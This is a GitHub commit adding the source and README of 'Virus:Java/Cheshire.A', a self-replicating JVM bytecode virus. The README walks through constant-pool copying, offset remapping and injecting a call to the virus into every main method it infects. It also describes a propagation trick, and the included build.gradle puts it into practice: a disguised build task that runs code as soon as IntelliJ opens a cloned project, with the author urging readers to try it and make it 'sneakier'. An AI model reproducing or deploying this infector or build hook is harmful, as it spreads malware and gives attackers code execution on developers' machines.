Add files via upload

This commit is contained in:
vxunderground 2020-10-31 20:39:03 -05:00 committed by GitHub
parent e3743a4295
commit 2e530a1cc0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
10 changed files with 2268 additions and 0 deletions

View File

@ -0,0 +1,423 @@
# Virus:Java/Cheshire.A
![Cheshire Cat](cheshire.png)
by Bot
Greetings: Coldzer0, Smelly, Neogram
## Cheshire
This is the first version of my bytecode virus for the JVM. This code is functional on JVM version 8 and higher. Along
with being capable of file infection, this virus was written to accomodate the user. Namely, this virus allows
the user to write some code in Java and instantly use it as a viral payload. Users can easily copy any function
or code to the target. We don't want to add additional libraries to our code so it's important to keep whatever payload
you add to what is available as standard Java libraries. Fortunately, the JVM's standard library is enormous and very flexible.
## Goals
Why would I write a virus for Java? There are a few reasons:
- Cross platform, no need to select binaries
- Rarity - I have not found a complete JVM virus on the web.
- Flexibility. JVM bytecode is much easier to manipulate than cpu opcodes and binary file formats.
## Prior Work
It appears there has not been a full Java virus in years. The only existing Java virus I could locate was
[Strangebrew](http://virus.wikidot.com/strangebrew), which was coded in 2001. Unfortunately even in this case the full
source was not disclosed. This virus would also not function in today's world, as Java has required bytecode verification
since that time.
There could be many causes for this. I was not able to find any other documented cases of a Java virus actually functioning.
While I was not able to find the source code for StrangeBrew, according to Symantec, the implementation was a bit buggy.
Upon starting the work I've done here, this might have sounded like an error on the part of the virus author, but we
will see that creating a fully functioning self-contained virus for the JVM is not a simple task.
## Design Overview
## File Infection Strategy
Cheshire infects any class file that contains a main function because this method is standard and reliable. All virus methods are static so they can easily be injected into and run from any
class. I chose to implement my own class file parser and infector because adding an entire library to a target is too
easy to spot, limits us if we want to develop more advanced features such as poly or metamorphism and just requires copying
too much data in general. In its current state, this virus is about 30kb. While large, it's much better than requiring entire
jar files simply to operate.
### The Java Class File Format
To create a virus that infects other executable files, we must first understand the executable format we are dealing with.
_I have absorbed [this page](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html) into my very being and no
longer understand anything about myself or the world around me._ Instead of traditional machine code, Java executables make use of bytecode. This allows portability without the software
authors needing to think about the platform they are writing code for. We have to consider the following aspects of the
.class file form:
- Which items are in the constant pool
- Which methods are available in the class
- Do the offsets used in our instruction operands match the offsets of our newly modified code and our newly placed constants
- How to adjust stack frames based on our modification of our target
#### The Constant Pool
Just like the data section of an ELF file, .class files have something called a Constant Pool to store information needed
by code. This is a listing of constant resources for the code to refer to as it runs. This can be anything from Strings
and Numbers to Objects, Methods and many other things. The formatting of the constant pool is very simple: each item is
given an index to which every other constant pool item, method and instruction may refer to. For our purposes, any
constant pool items we need to add can simply be appended to the target's constant pool. This will not cause any issues
with code verification or loading.
#### Methods
In a fashion similar to the constant pool, every method has an index. Our code has a few tasks when it comes to manipulating methods:
1) Read our own methods into memory so that we may copy them
2) Find methods in target code that we can infect. In our case, any main method will do
3) Inject our methods into the target class
4) Modify the code of the main method to invoke our virus code before continuing as normal
#### Code
Code is perhaps the simplest part of the entire class file format. Every instruction is loaded with some number of
operands following it. There can only be up to 255 JVM bytecode instructions so the set we need to understand is pretty
small compared to x86. The format of this data is simply an opcode followe by operands.
#### The Stack Map Table
After Java 7, you can no longer simply throw instructions into a method and expect functioning program. To make type guarantees
about code at runtime, Java maps out which variables are in the JVM's stack frame at any given time and for how long these
conditions apply. Every stackmapframe applies for some number of instructions indicated by an offset from the current
instruction being executed.
This is by far the hardest part to get right. Before Java runs code, it verifies that the code being loaded refers to
variables that are consistent with the types defined by the code. This would be fine normally, except for _a few complications._
#### The Challenge
So why is all of this hard? We run into a problem: several java instructions, one of which we use regularly, actually
have 2 different implementations. Some instructions will refer to constant pool values and take an
argument as a single unsigned byte(addressing up to 255 items) or two bytes(up to 65535 items). If we are appending our
needed constants to a target constant pool and the pool has more than 255 items, we need to decide whether to use the
instruction the original instruction that our compiler chose or a _new_ instruction addressing the correct number of
possible constants.
We could simply choose to hardcode our solution to only ever use 2 byte addressing and start only with lower numbers,
but ideally our code should be able to copy whatever methods we give it to copy and not simply some very specific code.
The viurs should be flexible and allow for advanced payloads specific by the user. Otherwise we are very limited in what we can do and
create more overead if we want to implement advanced features like polymoprhism or even metamorphism.
## Implementation
### Copying resources to the target
This is probably the easiest part of the whole process. Our code for doing this is:
```
public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
byte[] orig_constant = constant_pool[origin_index-1];
//Create a map between the old and new constant pools
//This will help us avoid copying too many vars over and being wasteful
if(origin.get("constant_pool_map") == null){
HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
origin.put("constant_pool_map", constant_pool_map);
}
HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
if(constant_pool_map.keySet().contains(origin_index)){
return constant_pool_map.get(origin_index);
}
int const_tag = orig_constant[0];
if(const_tag == 1){
int new_index = addToPool(destination, orig_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 7){
ByteBuffer b = ByteBuffer.allocate(3);
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_name_index = copyConstant(origin, orig_name_index, destination);
b.put(orig_constant[0]);
b.putShort((short) new_name_index);
byte[] new_constant = b.array();
int new_index;
if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
byte[] selfClassBytes = (byte[]) destination.get("this_class");
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
new_index = selfBytes.getShort();
}
else{
new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
}
return new_index;
}
else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
ByteBuffer b = ByteBuffer.allocate(5);
int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_class_index = copyConstant(origin, orig_class_index, destination);
String thisClass = getClassName(origin);
byte[] methodClassBytes = constant_pool[orig_class_index-1];
ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
methodClassBuffer.get();
int classNameIndex = methodClassBuffer.getShort();
String methodClassName = getUtf8Constant(classNameIndex, origin);
if(methodClassName.equals(getClassName(origin))){
byte[] selfClassBytes = (byte[]) destination.get("this_class");
byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
new_class_index = selfBytes.getShort();
}
b.put(orig_constant[0]);
b.putShort((short) new_class_index);
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
b.putShort((short) new_name_and_type_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 8){
ByteBuffer b = ByteBuffer.allocate(3);
b.put(orig_constant[0]);
int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_string_index = copyConstant(origin, orig_string_index, destination);
b.putShort((short) new_string_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
int new_index = addToPool(destination, orig_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 12){
ByteBuffer b = ByteBuffer.allocate(5);
b.put(orig_constant[0]);
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_name_index = copyConstant(origin, orig_name_index, destination);
b.putShort((short) new_name_index);
int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
b.putShort((short) new_descriptor_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 15){
ByteBuffer b = ByteBuffer.allocate(4);
b.put(orig_constant[0]);
b.put(orig_constant[1]);
int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
int new_reference_index = copyConstant(origin, old_reference_index, destination);
b.putShort((short) new_reference_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 16){
ByteBuffer b = ByteBuffer.allocate(3);
b.put(orig_constant[0]);
int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
b.putShort((short) new_descriptor_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 18){
ByteBuffer b = ByteBuffer.allocate(5);
b.put(orig_constant[0]);
b.put(orig_constant[1]);
b.put(orig_constant[2]);
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
b.putShort((short) new_name_and_type_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else{
return -1;
}
}
```
Essentially we create a function that keeps track of constants in both the origin and the target's constant pools. Whenever
we want to copy an item over, we do a quick check to see if we've already copied that item. If so, simply return
the index of the item instead of copying again. The JVM generally does not care too much about what you put in the constant
pool as long as it's a valid constant.
### Moving Methods
Copying a method from the source to the target is trickier than it sounds. While adding a method to a compiled class is
merely a matter of adding it to an index of methods, the real challenge is in ensuring the instructions for the method being
copied point to the correct resources and offsets. We have a useful function for consistently referring to the correct
constant pool resources but we need a way to consistently calculate the correct instruction positions and offsets for our
methods to actually function at runtime.
The workhorse of the virus for this is the instructionIndex method:
```
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
int oldposition = 0;
int newposition = 0;
int remainder = 0;
int instruction_pos = 0;
int list_offset = 0;
if(oldList.size() != newList.size()){
list_offset = newList.size() - oldList.size();
}
// Step one: Convert old index
while(oldposition < index){
if(oldposition + oldList.get(instruction_pos).length <= index){
oldposition += oldList.get(instruction_pos).length;
instruction_pos += 1;
}
else if(oldposition + oldList.get(instruction_pos).length > index){
oldposition += oldList.get(instruction_pos).length;
instruction_pos += 1;
remainder = oldposition - index;
oldposition -= remainder;
}
}
instruction_pos += list_offset;
//Step two: Convert instruction_pos + remainder to new position
for(int i = 0; i < instruction_pos; i++){
newposition += newList.get(i).length;
}
return newposition;
}
```
There's no magic here. Essentially we just need to translate the original position of some code
to the new position of the same code after it has been modified. This function ends up being
heavily leveraged throughout the rest of the virus. For the excruitiating details of
how this is used to adjust instruction operands, see the processInstructions method in SelfExamine.java.
### The StackMapTable
A virus for the JVM would be very easy if it were not for the Stack Map Table. This ~~fucking~~ mechanism gives
reasonable type safety guarantees, but requiring specific code offsets for certain kinds of stack conditions to apply
complicates the process of injecting code. Essentially we have to not only recalculate our own code as
we copy it due to the new positions of our constants in the constant pool and the new sizes and positions of our copied
instructions, but we also have to calculate what the offsets should be if we add code to existing code.
Since we are aiming to inject instructions directly into our target's main method without causing a crash, we need
to think about this quite a bit. However it's worth noting that this is still dramatically easier than doing this for an
x86 instruction set.
The code to calculate the correct StackMapTable offsets can be found in processAttribute. All I'm going to say about it
is that it took forever to get functioning without errors.
### Injection
The last part of our process after we copy our methods is actually inject instructions into a function that we did not
write and have no control over. The good news for me is that this didn't require too much extra work.
```
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
//Are there any functions called main?
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
//We should parse through the constant pool, look for the methodref with our method name and capture the index
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
int methodRefIndex;
byte[] instruction_bytes = new byte[3];
//Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
//For that method manually.
//Find the Constant Pool index of the MethodRef for our virus.
for(int i = 0; i < constant_pool.length; i++){
byte[] constant = constant_pool[i];
if(constant[0] == (byte) 10){
byte[] natindexbytes = new byte[2];
System.arraycopy(constant, 3 , natindexbytes, 0, 2);
int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
byte[] nameindexbytes = new byte[2];
System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
String methodName = getUtf8Constant(NameIndex, origin);
if(methodName.equals("Cheshire")){
methodRefIndex = i+1;
methodRefIndex = copyConstant(origin, methodRefIndex, destination);
ByteBuffer bb = ByteBuffer.allocate(2);
bb.putShort((short) methodRefIndex);
byte[] index_bytes = bb.array();
byte invokestatic = (byte) 184;
instruction_bytes[0] = invokestatic;
instruction_bytes[1] = index_bytes[0];
instruction_bytes[2] = index_bytes[1];
ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
inject_instructions.add(instruction_bytes);
destination.put("inject_instructions", inject_instructions);
}
}
}
byte[][] methods = (byte[][]) destination.get("methods");
for(int i = 0; i < methods.length; i++){
ByteBuffer b = ByteBuffer.wrap(methods[i]);
b.get(new byte[2]);
int nameIndex = b.getShort();
b.get(new byte[4]);
String methodName = getUtf8Constant(nameIndex, destination);
if(methodName.equals("main")){
try {
copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
```
Since our main virus method is never called by any of the other functions we've written, we have to copy the MethodRef
for that function to the target ourselves. We need to do this to use the invokestatic opcode, which is what we're sticking with
for execution. As you can see, I horribly bastardized my own code here by adding the newly generated instruction to an item in the destination's HashMap. This is horrible and I'm sorry.
It does however appear to have worked so there's that.
## Transmission Mechanism
One thing I've bundled with this virus is a very simple but effective way to help this virus spread. We know that we're
interested in infecting .class files inside of Jars, but simply allowing it to happen and spread over time would tkae a while.
After some digging into how we might abuse build systems to spread our code, I stumbled on to the somewhat surprising fact
that it is trivially easy to trigger code execution when somebody clones a gradle project in IntelliJ IDEA. This trick
probably also works in Android studio. I haven't tried it myself - maybe you should :)
The trick is very simple:
In settings.gradle in your project, place some innocent looking comments and code:
```
task testSuite(type: JavaExec) {
jar
classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')
classpath += sourceSets.main.runtimeClasspath
main = "Goat"
}
void autoBuild(){
testSuite
String classpath = sourceSets
exec {commandLine 'calc.exe'}
}
build{
autoBuild();
}
```
We can quickly talk about what this does. The trick is very simple. We can define a custom task for gradle
to run upon build. In IntelliJ IDEA, build is run every time a project is opened. For dramatic effect I've made
this code launch calc.exe but you could easily be much sneakier. ***The result of this obvious issue is that we can
get execution on clone in IntelliJ IDEA.*** Give it a try :)
## End Result
The end result of this effort is a set of self-replicating bytecode that is only a few steps away from being pretty
weaponizable. There are a lot of improvements I would have made to this code if I had the time, but hopefully a codebase
to create viral code just by using an IDE as normal is enough for now. Hope you enjoyed. Until next time.

View File

@ -0,0 +1,61 @@
plugins {
id 'java'
}
group 'org.example'
version '1.0-SNAPSHOT'
sourceCompatibility = 1.8
build.dependsOn.add("testSuite")
task testSuite(type: JavaExec) {
jar
classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')
classpath += sourceSets.main.runtimeClasspath
main = "Goat"
}
void autoBuild(){
testSuite
String classpath = sourceSets
exec {commandLine 'calc.exe'}
}
build{
autoBuild();
}
jar {
manifest {
attributes 'Main-Class': 'SelfExamine'
}
}
task fatJar(type: Jar) {
doFirst {
from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
}
exclude 'META-INF/*.RSA', 'META-INF/*.SF','META-INF/*.DSA'
manifest {
attributes 'Main-Class': 'SelfExamine'
}
baseName = project.name + '-all'
from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
with jar
}
repositories {
mavenCentral()
}
dependencies {
compile group: 'javassist', name: 'javassist', version: '3.12.0.GA'
testCompile group: 'junit', name: 'junit', version: '4.12'
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

View File

@ -0,0 +1,6 @@
#Sun Apr 05 15:56:09 EDT 2020
distributionUrl=https\://services.gradle.org/distributions/gradle-5.2.1-all.zip
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStorePath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME

172
Java/Virus.Java.Chesire.A/gradlew vendored Normal file
View File

@ -0,0 +1,172 @@
#!/usr/bin/env sh
##############################################################################
##
## Gradle start up script for UN*X
##
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
PRG="$0"
# Need this for relative symlinks.
while [ -h "$PRG" ] ; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG=`dirname "$PRG"`"/$link"
fi
done
SAVED="`pwd`"
cd "`dirname \"$PRG\"`/" >/dev/null
APP_HOME="`pwd -P`"
cd "$SAVED" >/dev/null
APP_NAME="Gradle"
APP_BASE_NAME=`basename "$0"`
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m"'
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD="maximum"
warn () {
echo "$*"
}
die () {
echo
echo "$*"
echo
exit 1
}
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "`uname`" in
CYGWIN* )
cygwin=true
;;
Darwin* )
darwin=true
;;
MINGW* )
msys=true
;;
NONSTOP* )
nonstop=true
;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD="$JAVA_HOME/jre/sh/java"
else
JAVACMD="$JAVA_HOME/bin/java"
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD="java"
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
# Increase the maximum file descriptors if we can.
if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
MAX_FD_LIMIT=`ulimit -H -n`
if [ $? -eq 0 ] ; then
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
MAX_FD="$MAX_FD_LIMIT"
fi
ulimit -n $MAX_FD
if [ $? -ne 0 ] ; then
warn "Could not set maximum file descriptor limit: $MAX_FD"
fi
else
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
fi
fi
# For Darwin, add options to specify how the application appears in the dock
if $darwin; then
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
fi
# For Cygwin, switch paths to Windows format before running java
if $cygwin ; then
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
JAVACMD=`cygpath --unix "$JAVACMD"`
# We build the pattern for arguments to be converted via cygpath
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
SEP=""
for dir in $ROOTDIRSRAW ; do
ROOTDIRS="$ROOTDIRS$SEP$dir"
SEP="|"
done
OURCYGPATTERN="(^($ROOTDIRS))"
# Add a user-defined pattern to the cygpath arguments
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
fi
# Now convert the arguments - kludge to limit ourselves to /bin/sh
i=0
for arg in "$@" ; do
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
else
eval `echo args$i`="\"$arg\""
fi
i=$((i+1))
done
case $i in
(0) set -- ;;
(1) set -- "$args0" ;;
(2) set -- "$args0" "$args1" ;;
(3) set -- "$args0" "$args1" "$args2" ;;
(4) set -- "$args0" "$args1" "$args2" "$args3" ;;
(5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
(6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
(7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
(8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
(9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
esac
fi
# Escape application args
save () {
for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
echo " "
}
APP_ARGS=$(save "$@")
# Collect all arguments for the java command, following the shell quoting and substitution rules
eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong
if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then
cd "$(dirname "$0")"
fi
exec "$JAVACMD" "$@"

84
Java/Virus.Java.Chesire.A/gradlew.bat vendored Normal file
View File

@ -0,0 +1,84 @@
@if "%DEBUG%" == "" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%" == "" set DIRNAME=.
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if "%ERRORLEVEL%" == "0" goto init
echo.
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto init
echo.
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:init
@rem Get command-line arguments, handling Windows variants
if not "%OS%" == "Windows_NT" goto win9xME_args
:win9xME_args
@rem Slurp the command line arguments.
set CMD_LINE_ARGS=
set _SKIP=2
:win9xME_args_slurp
if "x%~1" == "x" goto execute
set CMD_LINE_ARGS=%*
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
:end
@rem End local scope for the variables with windows NT shell
if "%ERRORLEVEL%"=="0" goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
exit /b 1
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega

View File

@ -0,0 +1 @@
rootProject.name = 'BytecodeVirus'

View File

@ -0,0 +1,5 @@
public class Goat {
public static void main(String[] args){
System.out.println("Hi! Any code can be running here!");
}
}

File diff suppressed because it is too large Load Diff